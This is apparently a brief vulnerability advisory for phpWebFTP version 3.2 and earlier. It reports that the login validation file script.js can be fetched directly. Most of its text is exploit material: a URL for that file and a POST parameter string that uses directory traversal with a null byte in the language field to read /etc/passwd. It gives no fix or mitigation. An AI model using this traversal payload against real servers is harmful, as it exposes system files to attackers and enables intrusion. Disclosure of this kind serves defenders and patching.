Summary 
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phpWebFTP enables connections to FTP servers, even behind a firewall not allowing traffic. phpWebFTP bypasses the firewall by making a FTP connection from your webserver to the FTP server and transfering the files to your webclient over the http protocol

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Issue :
Well I have found that most of the sites that use phpwebftp v3.2 > less  have a problem. The user login script is a javascript file called script.js. This file validates the user input in the logon box. But to my surprise this file is directly accessed by web browser . The  disclosure of the source code can help an attacker to trigger    code injections .

Exploit :
http://www.anysite.com/PhpWebFtp/include/script.js

Further a directory traversal is possible via malicious arguments passed on the web browser using POST Method relative to the path of phpWebftp ie. http://www.anysite.com/PhpWebFtp/index.php? .

'server=1&port=21&goPassive=on&user=1&password=1&language=../../../../../../../../etc/passwd%00'